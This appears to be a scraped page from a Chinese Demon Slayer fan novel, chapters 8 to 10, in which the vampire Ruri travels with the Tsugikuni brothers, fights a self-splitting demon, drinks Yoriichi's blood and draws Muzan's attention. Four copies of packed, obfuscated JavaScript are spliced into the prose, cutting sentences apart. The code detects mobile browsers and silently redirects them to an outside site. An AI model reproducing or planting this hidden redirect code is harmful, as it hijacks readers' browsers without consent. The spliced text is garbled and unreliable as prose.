;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294860|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们迟到了。”继国岩胜微微蹙眉:“我从不知你也会不守时,缘一。” 继国缘一下意识要开口道歉,琉璃却先一步说:“都怪今天的太阳下山太晚,你看嘛,我的手都烫红了。” 女性的皮肤白皙,琉璃从来没吃过苦,那双手更是娇嫩,捏一下都会泛红。 只是现在出现在她手上的那片痕迹很明显不是刮蹭出来的,“烫红”还是保守的说法,那块皮肤红的发紫,甚至能看到紫红的血管,烫伤的边缘微微卷起皮屑,像是烫掉了一块皮。 继国岩胜记得她前几天还能在太阳快下山的时候走出走廊的,这又是怎么回事? 疑问的话还没说出口,琉璃推着两个一米九以上的大高个往前走:“好了好了,我们是不是已经耽搁时间了?快点走吧,快点走吧,缘一说今天晚上就要到赶到呢。” 白天她可就赶不了路了。 继国岩胜回头不满地看她:“你怎可与男子有这样亲密的触碰?” 琉璃“哦”了一声,收回手:“那我就不碰你了呗,这么多讲究。” “……你家中究竟是如何教你的?” “我家?当然是我想做什么就做什么。”琉璃双手环胸,抬头与他对视几秒,忽而笑了一声,用指腹轻轻划过继国岩胜的下巴,“我要碰谁,谁就要乖乖让我碰。” “!” 那又轻又软的触感一瞬间出现,又一瞬间消失,继国岩胜胸腔像是被羽毛轻轻地骚动一瞬,他强行忽略那种陌生的悸动,怒从心中起,直接拔刀:“你!” 琉璃早有准备地后退了一步,不过这一刀却没有砍下来,甚至他只是将刀推出来一半,黑着脸顿在那里好一会儿,然后又按着刀柄把刀推了回去。 继国岩胜:“不知廉耻。” 说完这四个字,他面无表情地转身就走。 琉璃眨了眨眼睛,看着青年冷酷的背影,忍不住眯起眼睛笑了笑。 继国缘一没有说话,只是用一种很难以言喻的眼神看着她,像是茫然,像是呆滞,还像是掺杂了许多的不解,看到她居然还在笑,似乎更不理解了。 他问:“你在笑什么?” 琉璃侧头看他,笑道:“你不觉得很有趣吗?” 继国缘一和她对视。 琉璃又说:“岩胜平常看上去那么严肃,那么沉稳,总是板着那张脸,要么不说话,要么说话一本正经的,处理什么事情都很冷静,很游刃有余。逗这样的人生气很有趣呀,如同死水一般的脸上像是热水一样沸腾,理智的人不再理智,他还要打我呢。” 继国缘一:“……” “但是他后来还是把刀推回去了,他没有打我,只是在生闷气。”她说:“为什么会下意识就想抽刀呢?为什么最后却又将刀推了回去呢?” “虽然这种克制和压抑也很有意思……” 琉璃双手背在身后,“我还以为他真的会砍下来呢,真可惜。” 继国缘一总是搞不懂音羽山琉璃在想什么,也理解不了她说的这些话是什么意思,更不知道她到底想做什么。 ……算了。 主公交给他的任务也只是看管好音羽山琉璃而已,她只要不会伤害人类就行了。 继国缘一自己想通了一些事情,也不再执着从琉璃那里得到一个答案,他没什么表情变化,转身跟在继国岩胜后面,什么话也没说。 琉璃并不在意他说话说到一半突然走掉,只是远远跟在最后,对缘一的背影做了个鬼脸。 无趣。 呆瓜。 8. 八只血族 这次要去的村庄有些远,如果去的晚了,不知道会多出多少条人命。 为了白天也能赶路,缘一和岩胜想了很多办法。 他们做了一把很大的黑伞给琉璃,将她整个人都掩盖在厚重的阴影下,只是可惜,琉璃的皮肤依旧会被太阳灼伤,而且带着这样的打伞,他们也不好奔跑。 于是两个人又做了一顶用厚布做的帷帽,层层叠叠的布从帽檐垂下来,遮挡着阳光,效果比黑伞好一些,可跑起来风一吹就会吹开,而且琉璃看不见前路,必须要由人牵着走。 可若是这样,伸手时太阳就会附着在皮肤上,造成更严重的烧伤。 那片红色一路往小臂上蔓延,像是晶莹的朱玉染上了瑕疵,继国岩胜看了看,眉头不自觉皱起来。 音羽山琉璃有些烦恼,感叹了一句:“还是生平第一次遇到这种烦恼呢……” “还有什么方法没有尝试过?”继国岩胜说:“时间不等人。” 琉璃扶着额头思考,末了脑袋里灵光一闪,看向两人:“倒是有个办法,不过,看你能不能接受。” 继国岩胜:“说。” “我可以化形成一种动物。”她说:“藏在衣服里,就不会被阳光照射,也不会看不见路啦。” 继国岩胜让她快点变。 于是音羽山琉璃变成了一只长着翅膀的白老鼠。 继国岩胜纵使再见多识广,他也差点没绷住:“你这是什么动物?” “蝙蝠,你没见过吗?” “……” 琉璃停在继国缘一肩膀上,黑葡萄似的眼睛看着他:“没见过也不重要,来吧,你们谁牺牲一下,把我放在衣服里?” 继国岩胜闭上眼睛:“……你就不能变成其他动物?” “你指什么?” “猫、狗、鸡、鸭。” 连着白色翅膀的小爪子挥了挥:“变不了,快点,别浪费时间。” 继国岩胜沉默着,似乎在做一些=心理上的斗争。 半晌,他面无表情地开口:“缘一,拜托你了。” 音羽山琉璃:“……嘁。” 肤浅的男人,无趣至极。 继国缘一倒没有什么想法,虽然变成了奇怪的生物,但是那还是音羽山琉璃,味道、感觉、力量都是相同的,只是这样将琉璃贴身放在衣服里,总感觉有些奇怪。 他按住衣领,即使隔着一层里衣,却依旧能感觉到一团小小的,毛茸茸的,还是温热的。 按着按着,继国缘一的表情有那么一瞬间的空白。 ……原来琉璃又是逗兄长的,她分明可以变成其他的样子,这个形状,似乎是一只鸟。 大概是因为他没有说话,也没有走动,衣服里的小家伙有些不耐烦了,隔着薄薄的里衣,用不是很尖锐的喙敲了敲胸口,催促他快点上路。 这微小的触觉让他以胸口为中心,向身体四周延伸出一股麻意,一直到指尖。 他下意识按住衣襟,却又怕这个动作会把鸟儿压坏,在一紧一松之间,绒软的羽毛似乎伸进了缝隙,直接触碰到了皮肤。 继国岩胜察觉到了缘一僵住的动作,问道:“怎么了?” 青年放下手,从表情上看不出情绪:“不,没什么。” 继国岩胜觉得有些奇怪,但也没有多问,只是催促他快些赶路。 …… 没有了白天不能赶路的限制,六天的路程两个人硬生生缩短了一半,第三天的晚上就抵达了村庄,并且迅速找到了那只恶鬼,将其斩于刀下。 不过虽是说的简单,但这只鬼似乎是吃了不少人,看上去个头不大,力量不强的样子,速度却极快,很难对付。 一开始缘一并没有出手,只有岩胜那绚丽的呼吸法在清冷的月下忽明忽灭,一刀下去带着眼花缭乱的刀光,肉眼几乎无法捕捉刀挥去的轨迹,还没看清,便瞬间毁坏了一间破屋。 在这样的攻击中,恶鬼再快也无处遁形,直接就被岩胜从头到腹部劈成了两半。 而砍下去几秒后,岩胜表情一变,迅速撤离,紧接着,恶鬼被砍成两半的身体如同泥巴,居然狞笑着分化成了两只一模一样的鬼。 这时,缘一出手了。 漫天的火光几乎要将黑夜照亮成白日,那两只鬼还没来得及说胡,就齐齐在火光中消失,直接化成了灰烬。 琉璃作为旁观者,看得很是痛苦,她相信自己如果敢在缘一面前伤人,她可能会和这只鬼有同样的下场。 成功祓除恶鬼,继国缘一的表情依旧没有多放松,琉璃靠近时注意到他的手依旧还放在刀柄上,余光正警惕着周围,于是问了一句:“怎么了?附近还有别的鬼没有露头吗?” 继国岩胜闻言看过来,那张与缘一相似的脸上平静如水,嘴角往下,额前深色的发丝遮住了一部分眼睛,也遮住了其中更为深层的情绪。 “你感觉不到吗?” 继国缘一说完这句话,看着琉璃停顿片刻,像是意识到了什么,简短地说道:“他还活着。” 琉璃愣了愣,侧头去闻附近是否有鬼的味道,鼻尖却只有刚刚消散的鬼的臭味。 没死?怎么闻着像是死了一样。 继国岩胜脸上没什么表情:“追。” 继国缘一点点头,率先向南方跑去。 两个青年跑得飞快,琉璃不近不远地追在最后。 追了好一会儿,她的鼻尖重新涌现鬼的臭味,与此同时,人类惊恐的呼喊在耳边炸开,就算看不见,也知道前面到底是一副什么样的惨景。 缘一的动作没有丝毫停顿,他在看见恶鬼的那一瞬间,刀身便抽离了刀鞘,耀眼的火光遮天蔽日,朝丑陋的鬼席卷而去。 不过到底是顾及有人类在那边,势头在关键时刻突然变弱,那只鬼速度比之前还快,明明缘一已经卡在最晚的时候收势,它居然还能溜走,连衣角都没脏,如同一片树叶轻飘飘地飞起,又轻飘飘地落下。 继国岩胜慢缘一一步,但这个角度实在适合挥刀,于是他毫不犹豫地抽出打刀,刀光如月光一般清冷,在闪烁的同时带走了鬼的一只手,也带走了它抓着的一个孩童。 琉璃是最后一个赶到的,还没站稳呢,就被继国岩胜塞过来一个哇哇哭的孩子。 还没来得及嫌弃,岩胜命令道:“将孩子抱去他家人那里。” 琉璃:“……哈??” “那只鬼会分身。” 岩胜的话刚说完,鬼那只被砍掉的手掉落在地面,皮肤下的细胞剧烈蠕动后,在所有人的注视下变成了和本体一模一样的鬼。 琉璃:“!” 靠,好恶心。 “我和缘一对付他,那边的人类对鬼来说是现成的粮仓。”岩胜说:“不要被鬼抓到机会吃人,会很麻烦。” 琉璃点点头,抱着孩子来到牛车旁边。 那里已经死了很多人了,除了一个穿着华贵衣服的女人和一个妇人,男人几乎都死光了,视线内都是尸体和鲜血,堆积着浓重的血腥味。 这些血的味道并不难闻。 有一个血液味道很好的人死了,死得鲜血淋漓,草地上、泥土地上、马车上全都是这种香味,就连一旁的血泊,混杂着七八个人的血液,里头都像是加了什么香料。 琉璃太久没有进食了。 她盯着地上的血发愣。 “兄长!” 缘一的声音让音羽山琉璃猛地回神,只见他们的那片战场上已经分裂了至少五只以上的鬼,不仅仅是岩胜砍他他会分裂,缘一的呼吸法再炽热那也是刀法,砍下去他也会分裂。 明明刚刚在村子里,缘一砍死的分.身是灰飞烟灭的,现在却又不是了,看来离本体越近,鬼的分.身力量也越强。 刚刚缘一那么大声,就是因为鬼的三个分.身同时朝继国岩胜逼近,速度极快,他的刀来不及收势,腹部暴露着,再拖延一秒就会被鬼尖锐的指甲抓伤。 继国缘一这里也被四只鬼缠住,它似乎存了废几个分.身也要先弄残一个的心思,缠得他无法脱身。 在这短短的几秒钟时间内,其中一个分.身尖锐的指甲被坚硬的刀身抵住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294861|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,另外两个分.身化手为刃,目标直指继国岩胜的肋骨。 继国缘一的刀势更为凶猛,顾不得其他,直接将缠住他的分.身懒腰砍断,飞身上前,自下而上,像切水果一样斜着将三只鬼砍成两半。 眼前的危机解除,还没来得及松一口气,恶鬼那些砍成两半的身体再次化为新的鬼,岩胜周围的三只变成了六只,缘一最先砍下的四只变成了八只,并且它似乎意识到了自己敌不过眼前的两个人,一共十四个分.身,它居然分了离牛车最近的六个搞偷袭。 琉璃简直倒吸一口凉气。 它要是在这个时候想要偷袭人类的话,那真是做对了。 鼻尖萦绕着的香甜气味让她此时非常饿,饿得感觉快要死了,她不会像一条野狗一样趴在血泊旁边对着肮脏却又甜美的血液大快朵颐,她的手上有一个人类的幼崽,身后还有两个女人,先不说那两个女人怎样,她可以闻到这个幼崽的味道。 新鲜,稚嫩,香甜,醇美。 一口下去不知道会有多爽。 但是不行啊。 蓝色的火焰自脚下冲天而起,将闯到面前的其中三个吞噬成灰烬。 如果咬下去的话,她就要被继国缘一杀掉了啊! 鬼的哀嚎声不绝于耳,明明有三个分.身已经没了,剩下的三个却像是感觉不到恐惧一般,依旧直直地往前闯,目标是琉璃怀里抱着的婴儿。 琉璃咬着后槽牙抵抗。 真是见鬼了,直接死了三个都不怕的吗?还一个劲地往她这里跑。 好累,好饿,别再往前了。 火焰摇曳着,可熊熊燃烧的势头却弱了很多,一只鬼的手穿过火焰,想要抓住婴儿,却没想到琉璃身体一侧,手掌连带着手腕全都捅进了腹部。 剧烈的疼痛从被贯穿的地方迅速传开,从嘴角流出粘稠的血液。 好痛啊…… 火焰又弱了几分,同时,那只手愈发深入,似乎连小臂也一同没入。 “呕……” 越来越多的血从喉管里翻涌上来,不得不从嘴里吐出来。 她有些头晕目眩,勉强抬头看着近在咫尺的丑陋鬼脸。 琉璃活了这么多年,从来没有这么狼狈过。 像这样的鬼,她原本只要呼吸间就可以把分.身连带着本体全都给烧得干干净净,怎么会容忍它放肆到这种地步。 在疼到麻木的痛觉中,她忽然觉得有些委屈。 如果没有离开家,她现在应该会坐在柔软的沙发椅里,喝着血仆端过来的美味血液,品尝着城堡里厨师研制出来的新甜点,和相熟的贵族小姐说着笑话,谈论着花园里的哪朵花开得最严,欣赏着从别的地方送来的小宠物有多可爱。 就算生活再无趣,也不会像现在这样,看到被泥土弄脏的血液也想上去舔两口,饿到无法将这种肮脏低等的东西一口气烧光,还反被它伤成这样。 趁着两边的分.身聚集在一起,继国缘一和继国岩胜交换了一个眼神,持刀默契地对准了所有恶鬼的脖子,不管是分.身还是本体,所有的脖子都在火光与月光中断成两截,彻底断绝了鬼的分裂与再生。 琉璃跪倒在地上,捂着腰腹上的大洞,力竭似的喘着气。 继国缘一下意识小心扶住她的手,顺势让她往怀里靠,尽量减轻她的痛苦。 他的视线停在那个巨大的伤口上,低声说:“抱歉,那只鬼的分.身和本体不管是肌肉还是血管都一模一样,每一个分.身似乎都是本体,没能及时救你。” 琉璃张了张嘴,却又有更多的血液涌上来,呛得她说不出话。 继国岩胜以为她又在搞什么花样,不解道:“为什么不愈合自己?即使是异族,这样的伤口不处理也是会死的吧。” 继国缘一:“……” 他低着头,有些看不清神色。 半晌,他闭了闭眼睛,小臂擦过刀身,割出一道伤口。 美味至极的人类血液滴在干裂的嘴角边,覆盖了粘稠的血迹。 “喝吧。” “没关系。” 9. 九只血族 缘一的味道比想象中的还要好。 醇香的血液滴在嘴边,顺着嘴角流进口腔,瞬间就止住了从喉管传来的翻涌感,转而被一种莫名的空虚代替。 有强烈的渴望淹没了理智,琉璃抓住了缘一的手腕,将小臂来到唇边舔舐。 舌尖卷入大片血液,咕咚咕咚吞咽着。 也许是得到了满足,琉璃的理智回来了一些,她又将缘一的手轻轻推开,害怕似的颤抖着,头也往一边偏去,声音沙哑破碎,只能勉强听清:“够……了,我可以慢慢……恢复……” “喝吧。” 继国缘一说:“不用怕。” 琉璃费力地看了他一眼,那张脸上依旧不显露什么情绪,看不出到底是什么意思,也分不清话里的真假。 她闭上眼睛,忍耐了一会儿,可鼻尖萦绕着的血液味道实在太过于香甜,一阵一阵地挑动着她脆弱的自制力。 终于,琉璃还是忍不住了,凑过去含住那道伤口,将血痕重新湿润,舌尖轻轻穿入,刮蹭着血肉,细细吸吮。 血液流逝的速度很快,继国缘一很快就感觉到了自己的呼吸变得急促,心脏跳动的速度加快,而最让他觉得不妙的是,舌头舔过伤口产生的刺痛又麻又痒,混迹在失血过多的症状当中,催生出了他并不能理解的情绪。 不能理解。 也许是因为供血不足,头有点晕,所以无法思考。 “够了!” 继国岩胜掐住琉璃的两腮,迫使她张开嘴巴。 尖锐的虎牙从肌肉中拔出来,带出一连串的血珠,撕裂的伤口没有得到有效的止血,此时正不停往外流出血液。 继国缘一闭了闭眼睛环节晕眩感,手里下意识要给自己止血,却又睁眼看到琉璃急急地抓住自己的手腕,用舌头接住滴下去的血珠,顺带再舔了一口他的伤口。 有这么饿吗? 在发出感叹的同时,他还在想是不是不应该主动把自己的血给音羽山琉璃。 不管是什么生物都是这样的,明明忍耐地好好的,可只要尝到一点甜头,就都无法忍耐那种欲.望。 她也是这样吧,本身就是没吃过苦的,又怎么抵抗得了本能呢? 继国缘一的手按在刀柄上,琉璃没有察觉,只是松开青年的胳膊,不满地抬头看去:“再急也不能那样拉我呀,你看看浪费多少,就不能等我先给缘一止血吗?真是个急性子。” 继国岩胜黑着脸:“没轻没重的家伙,恐怕把缘一都吸干了你才意识到要停下。” 琉璃:“怎么可能!我看着量的!” 继国岩胜:“呵。” 琉璃愤愤地看向继国缘一,想让他来主持公道,结果看见他一脸苍白,连嘴唇都泛白,精神也不是很好的样子,嘴里的话突然就卡了壳,开始心虚起来。 她好像,真是有点喝多了。 琉璃不敢说话了,乖乖地跪坐好,可怜巴巴地看着继国缘一:“对不起啊缘一,我好像确实有点没控制好,你还好吗?没事吧?会不会晕晕的?我抱你去休息好不好?” 继国缘一:“没事。” 他稳稳地从地上站起来:“我去看看幸存的人如何了,你先休息吧。” “诶。”琉璃想拉他再坐一会儿,只是刚恢复一些的状态不足以让她有拉住一个男性的力气。 她眼巴巴看着继国缘一走掉,有些不安地揪了揪自己的衣角,纠结了一会儿,还是抬头问继国岩胜:“岩胜,缘一怎么一直看上去心情不是很好的样子,他是不是生气了?” “……” “因为我喝了太多血吗?还是因为没有及时注意到他的状态呢?” 继国岩胜:“……” 继国岩胜要被气死了。 他从来没有见过把“不尊重”表现得这么明显的。 就算大家都认为缘一是更厉害的那一个,也不会有人偏心偏得这样光明正大,对他没有半点敬意,说话还那样粗鲁。如果她本身就是这样大咧的性格,岩胜也能原谅她的无礼,可偏偏她对缘一却是完全相反的态度,一副好拿捏的样子,小心翼翼的,还很怕他生气。 继国岩胜闭上眼睛,深吸了一口气。 目无尊卑,不懂礼数,愚笨至极。 这样麻烦的女人,就算是异族,也要好好训诫,教导她懂得礼仪,遵守规矩。 ……算了,音羽山琉璃是一个怎样的人和他又有什么关系。 只是偶尔一次的合作而已。 继国岩胜面无表情地把音羽山琉璃从地上拎起来,“别废话,快去帮忙。” “哎!” 琉璃轻而易举就被将近两米的青年丢过去,像是丢沙袋一样轻松,她腹腔的洞才刚修复,痛感隐隐残留着,没能很好稳住身形,跌跌撞撞地又摔在地上,屁股生疼。 她不满地小声嘟囔几句,最后还是选择先去帮缘一。 继国岩胜冷眼站在旁边看了一会儿,这才去确认鬼的状态。 鬼的分.身消散得更快,此时此刻这片被血浸染的土地上只剩下了半个身体和它的半个脑袋。 它的眼睛直直地看着重新恢复生命力的音羽山琉璃,青蓝色的眼球中倒映着她沾着血液的衣摆和发尾。 这个女人原本是该是奄奄一息的,此刻脸上却又绽放了笑脸,精神比那对受了惊吓的人类主仆还要好。 “唰。” 冰冷的刀身从太阳穴贯穿了它的眼球,它的脑袋加快了消失的速度,一瞬间散成灰尘,视野也随之消失不见。 继国岩胜甩掉刀身上沾上的灰,将其收入刀鞘。 他最后再看了一眼鬼消散得位置,仔细查看后并未发现不妥,这才转身离去。 …… 猩红色的眼眸一眨,眼前的景象顿时换了个模样。 那张沾了血愈发眼里的面容消失不见,视线内重新恢复了那被月光照亮的庭院一角。 冰冷又孤寂的月光穿过红木栏杆,停留在苍白的手背上。 面容阴柔美丽的男人有着一头黑色的中长发,如同海藻一般微微弯曲,原本他的眉眼便看上去阴冷忧郁,额前略长的碎发更显得他气质独特。 “呵。” 这一声意义不明的轻笑打破了寂静的夜,似乎也搅乱了清冷的月光。 鬼舞辻无惨嘴角抑制不住地往上扬,猩红的眼眸中也写满了兴趣。 他没有看错。 那个女人使用的力量是术式,会食用人类的鲜血,还有普通人类绝不会有的治愈力。 明明咳血咳得快要死了,在喝了男人的血之后,枯槁的身体又一点一点鲜活起来,没过多长时间,她的伤口就愈合了,身体机能全部恢复,甚至还可以立刻开始帮忙营救幸存者。 鬼舞辻无惨和那个女人没有连接,她不是他变成的鬼,那她是什么呢? 是鬼?是和他一样的鬼,还是被什么鬼变成的鬼? 不管怎样,这个女人是在他不知情的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294862|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况下诞生的非人类,不知道她是否还有什么其他特性……说不定,可以帮他不少忙。 从传回来的画面来看,她的能力是一种蓝色火焰,威力并不强,甚至连分.身鬼都没办法彻底杀死,这样最好了。 要去找找看啊…… 还有那两个人类剑士。 鬼舞辻无惨微微眯起狭长的眼眸。 不错,最近发生的都是好事。 …… 被鬼袭击的那户人家是当地有名的富商。 此次出行正是夫人带着孩子与侍从迁去更大的城镇,她的丈夫正在城镇中等着她们。 夫人的侍从身强力壮,还有一个是稀血,鬼吃着大补,男人们没一个剩下,只留有毫无反抗之力的妇孺,细皮嫩肉的,它打算慢慢品尝。 幸好恶鬼轻敌,夫人才能继续带着孩子上路,她们倒是依旧能一家团圆,可这些死了的侍从,不知道会造成多少家庭的破碎。 这个时代,鬼吃人,人也吃人啊。 继国缘一陪着那位夫人再去雇佣了几名打手护送她上路。这其实也并不是什么上上策,但现在世道正乱,年轻柔弱的夫人如果独自上路很可能会遇到强盗,为了避免出现更坏的结果,他也只能这样了。 看着那位美丽的夫人抱着孩子,和身边的妇人一起感激地朝着这边鞠躬,继国缘一也闭上眼睛,礼貌颔额,再次睁眼时,他们已经要出发了。 青年暗红色的眼眸一片空洞,看不清情绪。 过了一会儿,他侧头问琉璃:“你好些了?” 琉璃摸摸已经愈合的伤口,点点头:“好了。” 继国缘一抬手放在她的头顶,轻轻拍了拍,“谢谢。” 音羽山琉璃一愣,慢半拍捂着自己的头顶,眨了眨眼睛,嘴唇也微微张着。 他说谢谢? 谢什么?谢她保护了那位夫人的孩子?还是谢她愿意站在人类这一边? 明明他给了这么多血,脸色苍白极了,却还是摸了她的头,对她说谢谢? 她有点不太懂,疑惑地问道:“为什么?” 继国缘一只是难得露出了一个浅笑,却没有再开口。 真奇怪。 真是奇怪的人。 音羽山琉璃放下手,蹙起眉头。 她不是自愿要保护人类的,只是如果她没有做到的话,缘一会对她动手,她打不过缘一所以才会主动保护人类。 就像是如果她在缘一面前咬了人,就会被缘一判定为敌人一样。 对啊,如果不是缘一力量比她强,她才不会蠢到用自己的性命去保护一个人类的孩子……但是,缘一真的会因为她没有做到而杀掉她吗? 说到底,缘一真的叮嘱过她要保护人类吗? 缘一真的有要求她违背本性吗? 音羽山琉璃抵着下巴费力思考。 可这样不就更奇怪了吗? “在那里发什么呆?” 继国岩胜等半天还没见她动,不耐地催促一声:“我们要走了。” “哦。”音羽山琉璃往前走了几步,与他并行后,又说:“岩胜,你再给我点血吧,我好像还没吃饱,脑袋无法思考。” 继国岩胜冷脸:“你无法思考并不是因为没吃饱。” “嗯?” “是因为你笨。” “……” 音羽山琉璃还以为他能吐出什么象牙呢! 她是真没时间陪他闹了! 10. 十只血族 分.身鬼的任务暂时告一段落,但紧接着缘一又收到了下一封乌鸦的来信,说附近不远的城镇上有鬼的传言,需要三个人去那边确认真伪。 这次路上没有那么多的不便,缘一给的血很多,一把黑伞足以让琉璃不被灼伤。 继国岩胜看她神态自若的样子,觉得当时他们为了不让琉璃晒到一点阳光的那些办法真是傻极了。 他是记得音羽山琉璃比那些鬼要强些的,夕阳与清晨时,她都会像人类一样看日升看日落,优哉游哉,怎么会一出任务就那么娇气。 原来是因为这家伙饿着肚子,没有力气去压制阳光。 每天吃那么多炼狱带来的甜点和糖,倒是一点用都没有。 两天后,三个人抵达目的城镇,刚踏足镇上,琉璃就知道这里没有鬼。 鬼的身上有一股不深不浅的恶臭味,再加上他们长期以人类的血肉为食,腥气夹杂在一起,恶臭就变成了腥臭,让琉璃想到渔村那些七八天都没有卖出去的鱼,堆在一起,也是这样腥臭。 这里没有腥臭味,代表这里没有鬼,但是血液的味道很浓郁,这座城内最近死了不少人。 琉璃和继国缘一对视一眼,见他还往镇上走,琉璃忍不住问:“要管吗?这可是人为的。” 就算仅仅只在队里呆了几天,她也是知道的,灭鬼人从不参与人类的纷争,只在有鬼出没时出手。 灭鬼的剑士掌握着呼吸法,不管是身体素质还是刀法都比寻常武士要厉害很多,要是贸然参与战争,会扰乱各个城的势力格局。 继国岩胜不由得看她一眼:“你怎么知道是人为的?” “这里没有鬼的臭味。” ……她之前明明是闻不见的。 继国岩胜沉默几秒,联系缘一之前的反应,忽而灵光一闪,意识到缘一可能从一开始就是知情的。 说的也是,琉璃是他捡回来的血族,她有什么能耐,缘一可能早就摸清了。 能在阳光微弱时自由活动,拥有异常灵敏的嗅觉以察觉鬼的位置,还有那不曾在柱们面前展露的火焰,缘一不可能不知道。在琉璃会被夕阳灼伤、无法敏感地感知鬼时,他早就有所意识,应该是琉璃这段时间都没有进食造成的。 所以他那时才会主动割开手臂,让琉璃别怕,安心喝下他的血液。 继国岩胜抿了抿嘴角。 虽然一路上都是三人在一起行动,但很多时候琉璃和缘一有很多心照不宣的默契。 这毫无疑问都归功于缘一的强大,就像缘一轻而易举就能发现母亲染病并帮助她,而自己却一无所觉一样,他自认为的努力与傲气都像是一种笑话。 “这几天都在赶路。”缘一说:“稍微休息一下吧。” 闻言,琉璃猛然反应过来,他们两个都是需要吃饭睡觉的人类,这么多天都没有好好休息,再加上缘一昨天还给出来了这么多血,也就是缘一那么厉害,才跟没事人一样继续赶路,换做是普通人早就病倒了。 他说完这句话,脚步一顿,又看向岩胜:“兄长觉得如何?” 继国岩胜:“……可。” 听到兄长说行,缘一才往前继续走。 但继国岩胜的表情不太好看,好像觉得缘一在挑衅他。 琉璃有点想笑,不过她忍住了,抬手拉住岩胜的袖子:“走吧岩胜,正好这个时间可以吃晚饭,有好吃的御手洗团子哦。” 继国岩胜:“……” 他现在觉得音羽山琉璃也在挑衅他。 …… 在这座不算大的城镇里,有一间特别的屋子。 整个府邸看上去很是豪华,紧闭的大门上画着紫藤花的图案,门前没有护卫,似乎是一家颇为低调的有钱人家。 在这样的乱世,没有武力武装的有钱人是很难有安生日子过的,像这样看上去戒备松散,却还洋溢着一种岁月静好氛围的豪宅简直少见。 倒是有另外一种可能——宅院的主人有着深不可测的实力,曾经给了许多心怀不轨的人一个强有力的警告,现在已经没有人敢去再找他们的麻烦。 缘一上前叩门,过了好一会儿里面才传来动静。 那是一个拄着拐杖的独腿男人,脖子上有两道疤延伸进衣领下,脸上因为什么表情也没有显得有些凶巴巴的,不过他在看到缘一和岩胜腰间的日轮刀时浑身的锐利感削弱了很多,态度也是恭恭敬敬的。 琉璃跟在最后面,左看看右看看。 这座府邸很大,而且干净整洁,前院有一片人工湖和假山,惊鹿偶尔发出一声脆响,观赏区域撒上了白色的石子,脚下铺成的木桥亮得发光,不像是这个时代普通平民能拥有的豪华。 给客人的房间像是早就准备好的,桌子柜子一尘不染,榻榻米上也干干净净,被褥有着阳光晒过的味道。 琉璃往铺好的被子上一扑,这种温暖像是被阳光短暂拥抱过,和皮肤被灼伤前的那一瞬间感觉是一样的。 缘一一把将琉璃拎起来,放到榻榻米上:“你不该在这里。” 琉璃:“……” 她是不该在这,省得还要被冷漠的臭男人无情地丢出去。 似乎是早就考虑到男女有别,隔壁其实也准备好了房间,同样干净整洁,同样温暖舒适,还不用像缘一和岩胜一样挤在一起,十分宽敞。 拄着拐杖的男人帮她铺床,趁这个时候,琉璃和他稍微聊了聊。 据男人所说,在部分城池当中,如果看到门上刻有紫藤花家纹的宅子,都可以进去寻求帮助,这些宅子的主人都是曾经被猎鬼人帮助过的普通人,大家自发聚在一起,用微小的力量为鬼杀队做出贡献,也算是在助力杀鬼事业。 原本主公是不想让普通人参与其中,但架不住大家都有一颗感恩回报的心,也就认同了这种做法。 他还说,继国家的兄弟在鬼杀队里很有名。 听隐居的老一辈成员透露,缘一加入之前,鬼杀队每次都是伤亡惨重,人类没有与鬼抗衡的力量,只是一味用性命去拼。 而在缘一加入之后,他教给了大家呼吸法,人类获得了新的力量,杀鬼的成功率大大提高,不仅如此,岩胜也是一位特别厉害的武士,他创造出了月之呼吸,同缘一的日之呼吸一起,宛如日月同辉,只要他们出现,就没有无法战胜的恶鬼。 他说,是猎鬼人帮他和他的家人留住了一条命,他这一族会世世代代服侍鬼杀队的剑士。 人类的一生短暂,可一个家族的延续却很长远,琉璃有些羡慕,这可是相当于得到了一位忠实的家臣。 “救了你就可以获得你的忠诚,人都是这样的吗?”她问。 男人愣了愣,猜测眼前的这个小姑娘也许在加入鬼杀队之前说不定是什么家里还算富裕的姬君,只不过遭遇恶鬼后家破人亡,这才会跟着继国家的两位大人,她涉世未深,居然连这样天真的问题都问的出来。 犹豫之下,他还是小心提醒:“也不完全是,如果姬君救下了一个坏心肝的盗贼,说不定只能得到一个恩将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 